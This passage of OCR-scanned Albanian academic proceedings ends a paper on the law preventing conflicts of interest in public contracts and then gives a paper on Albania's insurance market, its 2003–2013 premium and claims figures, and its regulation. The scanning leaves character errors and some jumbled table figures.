e lidhur me zyrtarét e lartpérmendur sipas nenit 24 té tij. Sipas konceptit té ligjit té
parandalimit té konflikti té interesit, rrethi i personave té lidhur me zyrtarin jané
Bashkeéshorti/ja,fémijét madhoré dhe prindérit e zyrtarit dhe bashkéshortit/es

Llojet e kontratave té ndaluara

Pér kategorité e mésipérme té zyrtaréve, ndalimi absolut pérfshin, si rregull, té gjitha
llojet e kontratave si: prokurimi publik i ndértimeve, mallrave apo shérbimeve,
shitja, shkémbimi, giraja/enfiteoza, dhurimi, furnizimi, sipérmarrja, transporti dhe
cdo kontraté tjetér e cila nuk

pérjashtohet nga pika 4 e nenit 21 té ligjit té parandalimit té konfliktit té interesave.

Rastet pérjashtimore

Duke géné se zyrtari mund té hyjé né marrédhénie kontaktuale me institucionet
pérkatése pér ¢éshtje té ndryshme ku pérfshihen raste gé kané té b&jné me punésimin
e tij, apo kur kjo gjen rregullim né ligje té vecanta pér géllime publike etj., ligji ka
parashikaur edhe rastet pérjashtimore.

141



Konkretisht né nenin 21/4 t& ligjit nr.9367, daté 7.4.2005, i ndryshuar parashikohet
se:

“ 4. Nga ndalimet e pikave I, 2 dhe 3 té kétij neni pérjashtohen rastet kur lidhja e
kontratés.

a) ka té béjé me punésimin e veté zyrtarit né institucion publik ose me
statusin e tif ligjor;

b) ka té béjé me marrjen nga zyrtari té njé shérbimi, qé ofrohet nga
institucioni publik ose organizmat dhe subjektet e krijuara a nén kontrollin e
institucionit publik, kur kéto shérbime jané té parashikuara né objfektin e
veprimtarisé sé institucionit publik, si dhe me kushtin gé shérbimi nuk i jepet zyrtarit
né ményré favorizuese apo si traftim preferencial né raport me té tjerét;

c) bazohet né ligfe té vecanta, pér géllime publike, ose pér trajtime té
posacme té kategorive té ndryshme té zyrtaréve,

¢) éshté e domosdoshme pér kryerjen e funksionit publik dhe nuk ka
alternativé tjetér;

ad) ka té béjé me njé dhuraté, favor ose trajtim preferencial, né ¢do rast pa
kundérshpérblim, gé subjektet e pércaktuara né pikén I shkronjat "a” dhe "b" dhe né
pikén 2 té kétij neni, béiné né favor t€ njé institucioni publik™.

Me ndryshimet e fundit té ligjit té parandalimit té konfliktit té interesave miratuar
me ligjin nr.86/2012 daté 18.9.2012, zyrtarit apo personave té lidhur me té i
ndalohet dhe pérfitimi nga kontratat publike me ané té nénkontraktimit. Me
sanksionimin shprehimisht né ligj té kétij ndalimi, parandalohen rastet e gjetjes sé
klauzolave té mundshme pér shmangien nga kufizimet ligjore, duke hequr késhtu
mundésité e pjesémarrjeve fiktive né tendera publiké apo kontrata administrative, té
cilat efektivisht realizohen nga palét nénkontaktore gé pér shkak té kufizimeve
ligjore nuk mund té pérfitojné nga fondet apo pasuria publike.

Kufizimet pér shkak té rolit té zyrtarit né vendimmarrjen pér lidhjen e
kontratave

Né nenin 21/3 té ligjit té pandalimit té& konfliktit té interesave parashikohet se:
“Pavarésisht pércaktimeve té béra né pikat I e 2 té kétij neni, ndalohet lidhja
e kontratave ndérmjet nfé institucioni publik apo cdo institucioni publik tjetér té
varésisé, nga njéra ané dhe njé individi, personi fizik a juridik apo ndonjé formé
tfetér ortakérie, nga ana tjetér, kur plotésohen, njékohésisht, kushtet e méposhtme:
a) zyrtari, gé ushtron funksionet né kété institucion publik ka kompetencé
thelbésore dhe pércaktuese né vendimmarrjen e procesit té vlerésimit té
ofruesve dhe té ofertave apo né pércaktimin e termave té kontratés;
b) ky zyrtar ka njé interes privat, sipas pércaktimeve té nenit 37 té Kodit té
Proceaurave Administrative, apo té nenit 709 té Kodit Civil, ose ka njé
1nteres t€ llojit té pércaktuar né pikat 1 e 2 té kétij neni”’
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Né parim, ¢do zyrtar né ¢farédo lloj pozicioni, i cili ka qofté edhe njé interes té llojit
té mésipérm té lidhur me njé vendimmarrje té caktuar, paraprake apo pérfundimtare,
gé con né lidhjen e njé kontrate me palé njé institucion publik, ka vetém njé
alternativé:

Té deklarojé interesin privat dhe té shmanget duke mos marré pjesé né
vendimmarrje. Né té kundért, kontrata do té jeté e pavlefshme.

Né ndryshim nga pika 1 e nenit 21 té ligjit PKI, pika 3 e tij zbatohet, vetém né rastet
kur zyrtari ka kompetencé thelbésore e pércaktuese né vendimmarrjen pér lidhjen e
njé kontrate dhe ka njé interes privat, té tillé si éshté pércaktuar né nenin 37 té Kodit
té Procedurave Administrative apo nenit 709 té Kodit Civil.

4. Pasojat e akteve apo kontratave té lidhura né kushtet e konfliktit té
interesave

Ligji i parandalimit té konfliktit té interesave, kreu V, neni 40, pércakton gé aktet
dhe kontratat administrative té nxjerra si né kushtet e interesit faktik, ashtu edhe né
rastet e konfliktit té interesit né dukje jané té pavlefshme. Pér njé pércaktim mé té
garté té kuptimit, kérkimit dhe cilésimit t& pavlefshmérisé, ky ligj i referohet Kodit
té Procedurave Administrative.

Neni 40
1. Aktet dhe kontratat administrative té ¢do institucioni publik dhe ankimimi
naaj tyre, té nxjerra né kushtet e konfliktit faktik ose né dukje té interesave,
Jané té paviefshme, sipas kuptimit té kétij termi dhe parimeve e procedurave
té pérecaktuara né Kodin e Procedurave Administrative.

2. Cdo kontraté civile, e lidhur né kundérshtim me pikat 1, 2, 3 e 6 té nenit 21
ahe pikén 3 té nenit 24 té kétif ligyi, ose né ¢do rast tjetér, kur ajo éshté
lidhur né praniné e konfliktit faktik ose né dukje té interesit, nuk krijon asnjé
pasofé juridike.

Né rastet kur konflikti i interesave pérbén pavlefshméri absolute t€ njé akti apo
kontrate, kérkesa pér konstatimin e saj mund té béhet né ¢do kohé. Gjithashtu organi
administrativ kompetent, me nismén e tij, mundet té konstatojé njé akt administrativ
absolutisht té pavlefshém né ¢cdo kohé dhe té marré masat pér té rregulluar pasojat
gé ai mund té keté krijuar g€ nga momenti i nxjerrjes sé tij. Né mungesé té organit
administrativ kompetent, konstatimi i pavlefshmérisé absolute té aktit béhet, né ¢do
kohé, nga gjykata me kérkesé té njé pale té interesuar. Né rastin e pavlefshmérisé
relative, shfugizimi ose revokimi i aktit, me kérkesé té palés sé interesuar apo me
nismén e veté organit kompetent, béhet brenda afateve™ té parashikuara nga veté
Kodit té Procedurave Administrative. Efektet e shfugizimit ose revokimit té aktit
fillojné dhe rregullohen sipas pércaktimeve té veté Kodit té Procedurave
Administrative.

Me ndryshimet dhe shtesat gé u béné né ligjin nr.9367, daté 7.4.2005, jané
parashikuar dhe instrumentat e posacém ligjore gé veprojné pér rregullimin e
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pasojave juridike té akteve té marra né kushtet e konfliktit té interesave, né rastet kur
institucionet pérgjegjése nuk i japin zgjidhje.
Ndryshimet e fundit ligjore, ngarkojné Inspektoratin e Larté t€ Deklarimit dhe
Kontrollit t& Pasurive (ILDKP) me pérgjegjési dhe detyra né funksion té ndjekjes
deri né fund té njé hetimi administrativ té iniciuar mbi njé vendimmarrje té caktuar,
té dyshuar si té marré né kushtet e konfliktit té interesave.

Gjobat dhe masat disiplinore té€ marra ndaj zyrtaréve gé gjenden né situatatat
e konfliktit té interesave jané vetém njé pjesé e ndéshkimit. Instrumenti mé i
réndésishém gé duhet té realizohet pér t&€ marré formé ndéshkimi i shkeljes ligjore,
géndron tek pavlefshméria e njé akti té nxjerré né kushtet e konfliktit té interesit, tek
procesi i hapur i gjykimit té njé rasti té till&, tek mundésia e veprimit prapaveprues té
kompensimit té paléve dhe shlyerjes sé démeve dhe té kalimit té gjithé barrés sé
démit, pérfshiré edhe démet morale q€ mund t’i shkaktohen njé€ institucioni publik,
tek zyrtari shkaktar.
Ligji i parandalimit t& konfliktit té interesave, sanksionon né nenin 40/1/2 té tij
detyrimin e institucioneve publike, gé kur njé akt i tyre béhet i pavlefshém pér shkak
té konfliktit té interesave, duhet t€ ndérmarrin procedurat e dénimit disiplinor té
zyrtaréve gé kané vepruar me kegbesim; kalimin e barrés sé démshpérblimit té démit
té shkaktuar tek ky zyrtar, duke i kérkuar gjykatés sipas rastit vendosjen e njé
shpérblimi institucionit pér démin moral té shkaktuar nga veprimet e paligjshme té
kétij zyrtari; si dhe kallzim penal kur gjykohet se kemi té b&jmé me njé vepér
penale. Né rastet kur vet institucioni nuk e ndérmerr kété nismé, vepron ILDKP-ja
né bashképunim me Avokaturén e Shtetit (neni 40/1/2).

5. Pérfundime

Ligji i parandalimit té konfliktit té interesave ka parashikuar kufizime dhe ndalime
té posacme té interesave private pér zyrtarét qé ushtrojné funksione publike, né
varési té funksionit té tyre, pérgjegjésive dhe kompetencave né vendimmarrjet
publike. Ké&to ndalime né njé masé té caktuar shtrinen dhe né personat e lidhur me
zyrtarin (bashkéshorti/ja, fémijét madhoré prindrit e zyrtarit dhe té bashkéshortit/es).
Né parim, ligji detyron zyrtarét qé t&¢ mos marrin pjesé né ato vendimmarrijet, ku ata
apo familjarét e tyre, kané njé interes té drejtpérdrejté ose té térthorté né céshtjen
konkrete.

Gjithashtu, ky ligj né nenet 21-24 té tij ka parashikuar disa ndalime dhe
kufizime té zyrtaréve pér lidhjen e kontratave me palé njé institucion publik,
ndalime né sigurimin e té ardhurave pér shkak té funksionit té vecanté, si dhe
ndalime pér marrjen e dhuratave, favoreve, trajtimeve preferenciale. Kéto kufizime
kané pér géllim né rradhé té paré t& mbrojné interesat e shtetasve nga ndonjé ndikim
i zyrtaréve publiké té cilét, né funksion té interesave té tyre ose té té aférmve, né njé
proces administrativ, démtojné interesat e shtetit, shtetasve ose té personave juridiké.

Duke theksuar gé njé situaté né dukje apo faktike konflikti interesi, mund té
jeté e lidhur potencialisht me njé vepér penale korruptive, shpérdorim detyre, shkelje
té barazisé né tendera apo pérfitim té paligjshém té interesave, legjitimohet fakti qé
né kuadrin e rolit parandalues té ligjit, té parashikohen disa kufizime specifike né
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interesat private té zyrtaréve publiké dhe persanave té lidhur me ta, me géllim pér ti
parapriré situatave t¢ mundshme me efekteve té konsiderueshme financiare apo
pasoja té renda pér shtetin dhe shogériné.
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TREGU | SIGURIMEVE NE SHQIPERI, PROBLEMATIKA DHE E
ARDHMJAE TIJ.

Klaudeta Merollari, Klaudia Lipi
Universiteti “Fan S. Noli” Korgé

Objektivat e artikullit:

Té studiojé problematikén me té cilén pérballet sot tregu i sigurimeve né Shqipéri.
Té shpalosé alternativa dhe potenciale zhvillimore té kétyre kompanive.
Té jape rekomandime lidhur me ndryshimet e nevojshme né kété treg.

Metodologjia e pérdorur :

Realizimi i kétij artikulli mbéshtetet né metodén e analizés dhe sintezés. Burimet e
informacionit pérbéhen kryesisht nga intervista me drejtues dhe eksperté né tregun e
sigurimeve.

Hyrje

Kompanité e sigurimit né Shqipéri

NEé tregun shqiptar té sigurimeve ushtrojné veprimtariné e tyre né total 11 shogéri té
sigurimeve, nga té cilat 7 né sigurimin e jo-jetés, 2 né sigurimin e jetés, 1 né
sigurimin e jetés dhe jo-jetés sé bashku dhe 1 né sigurimin e jo-jetés dhe risigurimit.

Tregu i sigurimeve éshté njé treg né zhvillim, gé karakterizohet nga ndryshime té
shpejta, me prezencé té konkurentéve kryesisht né tregun e sigurimit té detyrueshém.

Kytreg éshté i lidhur me shkallén e zhvillimit té pérgjithshém té ekonomisé. Tregu
shqgiptar i sigurimeve éshté ende i pastrukturuar dhe i pakontrolluar si duhet.
Kompanité e vjetra po kércénohen nga ato té reja pér faktin se veprojné né ményreé té
pandershme né treg.

I.  Ndarja e tregut midis shogérive té sigurimit

Gjaté vitit 2012, industria shgiptare e sigurimeve vazhdoi té njohé rritje té
géndrueshme

krahasuar me njé vit mé paré. Né vitin 2012 tregu i sigurimeve ka patur njé rritje
prej afro 8. 95%™" t& volumit té primeve té shkruara bruto, krahasuar kjo me njé vit
mé paré. Primet e shkruara bruto pér vitin 2012 kapén shifrén rreth 8. 95 miliardé
leké. Rritja e tregut t& sigurimeve pér vitin 2012 éshté nxitur kryesisht nga dinamika
e rritjes sé sigurimeve vullnetare dhe veganérisht nga sektori i jo-jetés, i cili z& 89.
85% té totalit té primeve té shkruara bruto né tregun e sigurimeve.

Gjaté vitit 2012, tregu shqiptar i sigurimeve té jo-jetés u nda ndérmjet shogérive té
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sigurimeve Sigal Uniga Group Austria, Sigma Vienna Insurance Group,
Interalbanian Vienna

Insurance Group, Eurosig, Intersig Vienna Insurance Group, Albsig, Atlantik, Insig
dhe Ansig. Sigal Uniga Group Austria udhéhogi tregun me 30. 33% té primeve té
shkruara bruto.

Grafiku 1. Ndarja e tregut té sigurimeve té jo- jetés né Shqipéri

B SIGAL

m SIGMA

B INTERALBANIA

m EUROSIG
INTERSIG
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ATLANTIK

Tregu i Sigurimit té jo-jetés éshté né rritje té vazhdueshme. Disa nga faktorét
kryesoré té rritjes sé volumit té primeve jané :

Rritja e nivelit té primit té sigurimit t& detyrueshém nga Ministria e
Financave né Maj 2006 me rreth 50 %

Rritja e nivelit té kredive i cili con né rritjen e nivelit té primeve té
sigurimit té pronés(zjarr)apo té sigurimit té veté mjeteve motorike
(kasko) té Iéné si kolateral nga kredimarrésit.

Rritja e fluksit té njerézve gé udhétojné jashté vendit dhe gé kané té

detyrueshme pajisjen me policén e sigurimit té shéndetit jashté
vendit.

Tregu i Sigurimit té jo-jetés né vitin 2012 shénoi njé véllim primesh bruto
téshkruara rreth 5, 5 miliardé leké ose rreth 30, 46% mé shumése viti 2011.
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Grafiku 2. Ndarja e tregut té sigurimeve té jetés né Shqipéri
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Ecuria e tregut té sigurimeve né Shqipéri
Tregu i sigurimeve ka shénuar njé ecuri me luhatje té ndryshme gjaté kétyre viteve.

Né vitin1999 kur hyné né treg kompanité e para private u vu re njé ritém mjaft i larté
rritjeje prej 50%. Ndérsa né vitin 2003 kur hyné disa kompani té tjera pati
ngadalésim té ritmeve.

Viti 2005 shénoi njé rénie té tregut, kjo tregon gé nga numri relativisht i larté i
kompanive pér njétreg té kufizuar vetém né njé lloj produkti, si¢ éshté sigurimi i
detyrueshém motorik, ka ardhur njé konkurencé e ashpér. Pér kété periudhé 4-5
vjecare rritja mesatare e tregut ishte 4. 5%. Viti 2006 rezultoi me njé rritje vjetore
12%, referuar volumit té primeve bruto. Ka dy faktoré gé kané ndikuar : sé pari, né
mars té 2006 pati njé rritje t&é ¢cmimit mesatar sepse u rivendosén ¢mimet sipas
kapacitetit té automjetit, sé dyti, &shté rritja e aktivitetitku rreth 9. 5% u rrit numri i
kontratave.

Gjaté vitit 2006 pati njé nismé pér vetérregullim té tregut nga kompanité e sigurimit,
me Krijimin e njé agjenti té pérbashkét pér TPL-né motorike dhe Kartonin Jeshil, me
synim pér té evituar né njé faré mase abuzimet gé béheshin dhe té mbijetonin né até
konkurencé té egér né treg. Nga ana praktike kjo nismé pati ndikime té& ndjeshme
financiare te kompanité e sigurimit.

Megjithése rritja e vitit 2012ishte e kénagshme, po té kemi parasysh se tregu i
sigurimeve né Shqipéri éshté njé treg i ri krahasuar me vendet e Evropés, rritja éshté
akoma e vogeél.

Shkalla e depértimit té produkteveté sigurimit né Shqipéri, si duke ju referuar
primeve pér frymé osené% té PBB-sé apo vlera e aktiveve éshté shumé e ulét né
krahasim me vendet e rajonit.
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Tregu i sigurimeve ka njé shkallé t& ulét depértimi sepse ka mbetur i kufizuar né
sigurimin e detyrueshém motorik. Né vendin toné ende mungon kultura e sigurimit
vullnetar. Gjithsesisigurimet vullnetare, megjithése jané né njé pérgindje relativisht
té ulét kané rritje vitet e fundit. Rritja sidomos e sigurimeve té pronés dhe té jetés
lidhet me zgjerimin e kredisé bankare.

Eshté béré standard tashmé gé me dhénien e kredisé té kérkohet té sigurohet
kolaterali né formén e pronéssé bashku me jetén e kredimarrésit. Pra, shikojmé
lidhjen e zhvillimeve té segmenteve té ndryshme té sektoréve financiaré. Sigurimet
pérbéjné sektorin e dyté né sektorin financiar pas atij bankar.

Mbikqyrésit e kétij tregu duhet ta vézhgojné me shumé kujdes kété fenomen, me
synimin pér té shmangur rrezikun potencial té transferimit té riskut nga sektori
bankar né até té sigurimeve. Problemi i transferimit té rrezikut nga njé sektor
financiar né tjetrin, sidomos nga bankat te sigurimetapoletrat me vleré ekziston
aktualisht né botédhe sa mé shumé instrumente transferimi té keté aq mé i madh
éshté rreziku.

Né grafikun mé poshté paragitet ecuria e tregut té sigurimeve né vite.

Grafiku 3. Ecuria e primeve dhe démeve né vite

2011
2009
2007
2005
2003

2 4 6 8 10

2003|2004 2005|2006|2007|2008/2009|2010|20112012

Prime té shkruara
bruto 3.755/4.1514.0114.542/5.9487.076/7.877| 8.2 |8.215/8.95

B Deme té paguara

bruto 1.3191.038(1.227/1.287/1.2941.571/11.7332.299|2.228|2.823

I1. Probleme té tregut té sigurimeve
Sigurimet e detyrueshmemotorike vazhdojné té dominojné strukturén e tregut.
Dendésia e sigurimit

Né vitin 2012, primi pér frymé ishte mesatarisht 3, 172 leké (22. 81 euro). Nga kjo
shumé, 312
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leké éshté shpenzuar né sigurimin e jetés dhe 2, 850 né sigurimin e jo-jetés. Né total,
kjo

shifér éshté 261 leké mé shumé se sa ishte né vitin 2011.

Primet e sigurimit té jo-jetés

Tregu i sigurimeve té jo-jetés gjaté vitit 2012 shénoi rritje té primeve té shkruara

bruto me rreth 10. 84%, krahasuar me vitin 2011, duke arritur njé vleré prej afro 8.
04 miliardé leké.

Tabela 1. Primet e shkruara bruto 2010-2012

Veprimtaria | Prime té shkuara bruto ( milion | Ndryshimi né %
leké)
20102011 2012
Jeta 848 941 880 10. 92 -6. 48
Jo-Jeta 7297 7 256 8 042 0. 56 10. 84
Risigurumi | 55 18 28 -66. 66 52.91
total 8 200 8 215 8 951 0.18 8.95
B Sigurime té
detyrueshme
H Sigurime
vullnetare
Grafiku 4.

B Sigurime té
Jetés

B Sigurime té
Jo -Jetés

veprimtari
risigurimi
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Sigurimet e detyrueshme

Gjaté vitit 2012, sigurimet e detyrueshme motorike (té pérgjegjésisé sé mbajtésve té
mjeteve motorike ndaj paléve té treta) dominuan strukturén e tregut, duke sjellé rreth
51. 13% té té ardhurave nga primet e shkruara bruto té tregut té sigurimeve.

Primet e shkruara bruto té sigurimit MTPL e brendshme, né vitin 2012, arritén né
rreth 3. 37 miliardé leké, ose rreth 52. 79% mé shumé se né vitin 2011.

Né vitin 2012, primet e shkruara bruto té portofolit Kartoni Jeshil ishin rreth 0. 69
miliardé leké ose rreth 37. 56% mé pak se né vitin 2011.

Né vitin 2012, primet e shkruara bruto té portofolit Sigurimi Kufitar ishin rreth 0. 52
miliardé leké ose rreth 23. 80% mé shumé se né vitin 2011.

Sigurimet vullnetare

Né vitin 2012, té ardhurat nga sigurimet vullnetare arritén né rreth 4. 37 miliardé
leké, ose 2. 55% mé pak se té ardhurat e njé viti mé paré.

Né sigurimet vullnetare té jo-jetés me té ardhura rreth 3. 46 miliardé leké, portofolet
me peshé specifike mé té larté jané zjarri dhe aémtimet né proné me rreth 49. 30%,
té pasuara nga

Sigurimi | Aksidenteve dhe i Shéndetit me rreth 17. 92% dhe Sigurimi Kasko me
rreth 15. 65%.

Né portofolin Sigurimi nga zjarri dhe démtimet né proné, gjaté vitit 2012, ndihet njé
rritje prej 21. 80% e volumit té primeve té shkruara bruto té kétij portofoli,
krahasuar me vitin 2011.

Té ardhurat nga primet e shkruara bruto né sigurimet e Aksidenteve dhe Shéndetit,
gjaté vitit 2012, arritén né rreth 621 milioné leké, duke shénuar ulje prej 28. 96% né
krahasim me vitin2011. Peshén mé té madhe té té ardhurave té kétij grupi e mbajtén
Sigurimet e Aksidenteve me rreth 62. 30% té totalit.
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Grafiku 5. Zhvillimi i tregut té sigurimeve té detyrueshme dhe vullnetare 2003-
2012

2008 | : =
2003

2003/2004|2005/2006/2007(2008|2009/2010|2011/2012

SIGURIMET VULLNETARE|1.2681.0431.9652.9753.2083.8834.0093.9724.4884.373

B SIGURIMET E

DETYRUESHME 2.8652.9682.576(2.9683.8683.9954.1914.2433.7274.577

Démet

Tregu i sigurimeve ka aktualisht njé nivel té papérfillshém té pagimit té& démeve si
dhe té shpenzimeve administrative té larta.

Né njé treg financiar shpenzimet operative duhet té& pérbéjné njé pjesé té vogél té té
ardhurave, zakonisht mé pak se 20%, por kjo nuk ndodh né Shqipéri. Té ardhurat e
kompanive té sigurimit jané tepér té larta krahasuar me shpenzimet, rrjedhimisht
fitimi &shté i larté. Kjo tregon se tregu i sigurimeve é&shté ndér mé fitimprurésit gqé
operojné né sistemin financiar jobankar. Nga statistikat rezulton se vetém 1. 66% e
shgiptaréve gé kané bleré njé policé sigurimesh kané pérfituar né rast démi. Né
tregun e sigurimeve té jetés vetém 51 shqiptaré nga 41 mijé qé kané bleré njé policé
sigurimi kané pérfituar démshpérblim. Kéta tregues por dhe té tjeré shtojné nevojén
pér njé kontroll mé té detajuar nga organet pérkatése, gjé qé pritet t& ndodhé né té
ardhmen.

Qéllimi kryesor i siguruesve né treg duhet té jeté pérmbushja e detyrimeve gé
rrjedhin nga kontratat e sigurimeve dhe gé lidhen me pagesén e démeve.

Raporti i ulét déme/prime tregon se tregu ka shumé pér té béré né drejtim té
pérmirésimit té shérbimit ndaj klientit e publikut né térési.

Gjaté vitit 2012, shogérité e sigurimeve paguan rreth 2. 82 miliardé leké déme, ose
rreth 26. 71% mé shumé se né vitin 2011. Pjesa mé e madhe e démeve té paguara
bruto i pérket sigurimeve motorike me 2. 13 miliardé leké, apo 75. 49% té totalit.
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Tabela 2. Prime té shkruara bruto sipas kategorisé té sigurimit(né total)

Ndryshim  Pjesa ndaj

Grupimi sipas i totalit
Llojit Vlera (né mijé leké) (né %) (né %)

201
Janar - Prill 2012 2013 13/°12-1 2012 3
Primi i shkruar bruto

100
Né sigurimin e Jetés 285, 463 321,284 12.55 100. 00 .00

100
Né sigurimin eJo-Jetés 2,387,718 2,444,520 2.38 100. 00 .00

100
Né sigurimin Motorik 1.352.023 1.399. 616 3.52 100. 00 .00

100
NEé sigurimin MTPL e brendéshme  868. 406 893. 706 2.91 100. 00 .00

100
NEé sigurimin e KartonitJeshil 226. 338 255. 417 12.85 100. 00 .00
Né sigurimin nga zjari, forcat e 100
natyrés dhe démtime né proné 672. 727 584. 488 (3.12) 100. 00 .00
Né sigurimin e aksidentit dhe 100
shéndetit 222. 804 231.178 3.76 100. 00 .00

Tabela 3.Déme té paguara bruto sipas kategorisé sé sigurimit(né total)

Vlera (né mijé Ndryshimi Pjesa ndaj totalit
Grupimi sipas Llojit leké) (né %) (né %)
20
Janar - Prill 2012 2013 13/°12-1 2012 13

Démet epaguara

10

53. 21. 0.

Né sigurimin e Jetés 048 714 (59, 07) 100. 00 00
1. 10

015. 822. 0.

Né sigurimin eJo-Jetés 580 148 (19, 05) 100. 00 00
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10

709. 714. 0.

NEé sigurimin Motorik 079 417 0.75 100. 00 00
10

Né sigurimin  MTPL e 421. 350. 0.
brendéshme 090 997 (16. 65) 100. 00 00
10

128. 215. 0.

NEé sigurimin e KartonitJeshil 986 333 66. 94 100. 00 00
10

NEé sigurimin nga zjari, forcate  238. 38. 0.
natyrés dhe démtime né proné 816 285 (83.97) 100. 00 00
10

Né sigurimin né sigurimin e 65. 68. 0.
aksidentit dhe shéndetit 956. 817 4.34 100. 00 00

Si pérfundim, po té shohim raportin prime té shkruara bruto dhe déme té paguara
rezulton gé gjaté vitit 2013 éshté rritur numuri i Primeve té shkruara bruto né
krahasim me atété démeve té paguara pér llojet e ndryshme té sigurimeve

Kontrolli i tregut té sigurimeve né Shqipéri

Viti 2006 shénoi njé hap té réndésishém né drejtim té reformimit té mbikqyrjes
dhe rregullimit té sistemit financiar jobankar. Me géllim reformimin e sistemit
rregullatorfinanciar jobankar, né tetor 2006 u realizua integrimi i enteve rregullatore-
mbikéqyrése pér aktivitetin e tregjeve dhe subjekteve né fushén e sigurimeve, tregut
té letrave me vleré si dhe instituteve té pensioneveprivate suplementare.

Né kété kuadér u realizua unifikimi i Autoritetit t& Mbikéqyrjes sé Sigurimeve
(AMS), Komisionitté Letrave me Vleré(KLV), si dhe Inspektoriatit té Instituteve té
Pensioneve Private Suplementare(lIPPS), duke krijuar Autoritetin e Mbikéqyrjes
Financiare(AMF) si té vetmin institucion pérgjegjés pér ligensimin, mbikéqyrjen dhe
rregullimin e té gjithé aktivitetit gé i pérket sektorit financiar jobankar né Shqipéri.
Kjo ishte njé arritje, sepse ishte njé nismé pér té krijuar njé rregullator té pavarurpér
vendosjen e standardeve té njéjta trajtimi té té gjithé sektoréve pér té shuar dhe
ndikimet potenciale apo reale politike, apo té grupeve té ndryshme, té cilat
deformojné zhvillimin e biznesit.

Avantazhet e integrimit

Mbikéqgyrja e integruar éshté njé pérgasje e cila bazohet mbi supozimin qé
né njé ekonomi globale ndryshimet mbi institucionet gé ofrojné shérbime financiare
po béhen gjithnjé e mé tepér té vogla dhe shpeshheré shkaktojnépraktika rregullative
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kontradiktore, té cilat mund té lené shteg pér abuzime apo influenca negative né
zhvillimin e tregjeve financiare. Né dekadén e funditvihet re njé tendencé e theksuar
e unifikimit té rregullatoréve financiaré, karakteristiké kjo edhe pér Evropén
Lindore.

Njé strukturé plotésisht e integruar mbikéqyrése éshté mé e miré se njé strukturé e
fragmentuarpér kéto arsye:

Integrimi siguron standarde dhe trajtime té njéjta rregullimi pér sektoré té
ndryshém

Integrimi ofron sinergjité midis fushave té ndryshme funksionale té rregullatorit
si nga piképamja e personelit ashtu dhe e neutralitetit rregullator

Integrimi lehtéson bashk&punimin ndérkombétar

I11. E ardhmja e tregut té sigurimeve né Shqipéri

Hyrja e kompanive té huaja né tregun shqiptar té sigurimeve shihet si njé zhvillim
pozitiv gé doté keté ndikime né treg sidomosné prezantimin e produkteve té reja dhe
kjo do té krijojé frymémarrje pér té gjithé biznesin, sepse do té shképuten nga
konkurenca e kufizuar né sigurimet motorike. Kjo éshté njé ngjarje e réndésishme né
drejtim té zhvillimit t€ njé biznesi me njé fillozofi té re, né bazé té standardeve
evropiane, e orientuar drejt konsumatorit, me pérmirésim té treguesve kryesoré sic
jané ato té démeve, shpenzimeve, risigurimeve etj. Kéto kompani té huaja do té
sjellin jo vetém zhvillimin e biznesit por dhe sjelljen e koncepteve té reja si dhenjé
ményré tére té té bérit biznes.

Krahas futjes sé kompanive té huaja e ardhmja e tregut té sigurimeve do té
mbéshtetet né forcimin e mbrojtjes sé konsumatorit né dy drejtime kryesore, né
radhé té paré pérmirésimin e cilésisé sé produkteve e shérbimeve dhe sé dyti rritjen e
transparencés gé pérfundon né pérmirésimin e koeficientit t¢ démeve, me njé pagim
mé té miré si sasi, cilési dhe kohé té démevendaj konsumatorit.

Pér kompanité e sigurimit si biznese me bazé besimin éshté e réndésishme té kené
kété imazh, gé krijohet vetém kur mbahen pérgjegjésité e marra. Tjetér synim éshté
gé té vendosin standardendérkombétare pér mbikégyrjen. Ajo gé éshté mékryesore
éshté evidentimi i rrezigeve dhe kompanité té veprojné né arritjen e parametrave
tekniké gé té pérballojné pérgjegjésité gé ato marrin. Kjo éshté njé metodologji e re
gé kérkon njé filozofi dhe metodikété re.

Nga zhvillimet e deritanishme té tregut ka dalé e nevojshme qgé té rishikohet
kuadri ligjori sigurimeve. Sigurimet rregullohen nga tre ligje:

ligji nr. 9572 dat€ 03. 07. 2006 “Pér Autoritetin e Mbikéqyrjes
Financiare”

ligji nr. 9267 daté 29. 07. 2004 “Pér veprimtariné e sigurimeve, té
risigurimeve dhe té ndérmjetésimit né sigurime dhe risigurime i
amenduar né 2007 i cili ka nevojé pér saktésime dhe pérmirésime;
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ligji 1 sigurimeve té detyrueshme motorike i vitit 1993 i cili duhet té
zBvendésohet me njé ligj té ri.

Kompanité e sigurimit duhet té synojné gé né té ardhmen veprimtaria siguruese té
shtrihet edhe né sektorin e ndértimit, karburanteve, minierave dhe hotelerisé.

Prespektiva e zhvillimit té sektorit financiar jobankar do té jeté:

1. Pérafrimi i legjislacionit me até té Bashkimit Evropian, né kuadér té
zbatimit té

Marréveshjes sé Stabilizim-Asocimit.
2. strukturimi i zhvillimit té tregjeve sipas standardeve.
3. mbrojtja e konsumatorit

Qéndrueshméria makroekonomike e Shqipérisé, progresi né regjimin
rregullator dhe mbikéqyrés té sistemit financiar jo-bankar, potencialet e larta gé
ofron vendi, masat e marrané drejtim té parandalimit té efekteve té krizés finaciare
botérore, pritet t¢ shogérohen me njé zhvillim té& métejshém té tregjeve financiare
jo—bankare.

Kéto zhvillime pritet té kené ndikim pozitiv né rritjen e interesit té investitoréve té
huaj prestigjiozé pér tregjet financiare jo—bankare né Shqipéri. Interesi i
investitoréve seriozé, tashmé i konkretizuar né sektorin e sigurimeve, po vijon té
rritet edhe pér sektorét e letrave me vleré dhe pensioneve private.

Implementimi i pérvojave dhe praktikave mé té mira i cili i ka dhéné frutet e veta me
hedhjen né treg té produkteve té reja té sigurimeve, kryesisht né fushén e jetés dhe
shéndetit do té shihet si njé udhézues né drejtim té hapave té métejshém. Ndikime
pozitive priten né elemente té tjeré si geverisjen e shogérisé, aplikimin e kritetit
fit&proper dhe cilésiné e shérbimeve.

Rritja e efektivitetit dhe integritetit té tregjeve financiare jo—bankare do té
shogérohet me fushata edukuese dhe nxitése pér publikun, gé do té synojné rritjen e
ndérgjegjésimit, interesit dhe pér rrjedhojé té kérkesés pér produkte financiare.

Né té ardhmen, pritet gé é keté rritje né kété treg dhe faktorét gé do té influencofné
atéfané:
-Zhvillimi dhe rritja e pérgjithshme e ekonomisé;

-Ndryshimi i géndrimit t& qytetaréve dhe bizneseve ndaj riskut. Pra, gjithnjé e mé
tepér po kuptohet nevoja e transferimit té riskut tek shogérité e specializuara.

-Zhvillimi mé tej i sigurimit té jetés, duke e kuptuar prej qytetaréve kété sigurim si
njé investim né té ardhmen e tyre dhe té familjeve.

-Futja e investitoréve té huaj, ka sjellé garanci t&é madhe né kété treg.

156



Konkluzione

